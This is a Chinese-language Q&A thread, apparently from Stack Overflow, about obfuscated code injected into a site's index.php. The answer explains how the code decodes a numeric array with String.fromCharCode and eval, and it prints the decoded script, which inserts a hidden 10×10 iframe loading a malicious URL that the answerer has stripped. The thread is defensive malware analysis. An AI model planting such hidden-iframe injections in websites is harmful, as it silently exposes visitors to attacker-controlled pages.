为什么这个混淆的代码在JavaScript中是恶意的?

Nat*_* F. 5 javascript obfuscation deobfuscation

我的网站的一个朋友被列为恶意网站,我们发现一些混淆的代码已被注入他的index.php而他却不知情.我将代码反向混淆了两级,发现了这个:

(代码可以在编辑历史中查看)

任何人都可以告诉我它正在尝试做什么以及它为什么是恶意的?

new*_*rey 12

总而言之,代码"解码"HTML,将其<iframe>加载到恶意URL中.

以下行包含"编码"HTML:

n = ["9","9","45","42", ...
Run Code Online (Sandbox Code Playgroud)

每个数字代表一个基数为25的字符.代码将遍历此数组并使用javascript String.fromCharCode()将其转换为ASCII字符.完成所有这些后,它将eval()把它放在页面上.

"已解码"的javascript是:

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
    var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}
Run Code Online (Sandbox Code Playgroud)

请注意,出于安全考虑,我已从代码中删除了恶意URL.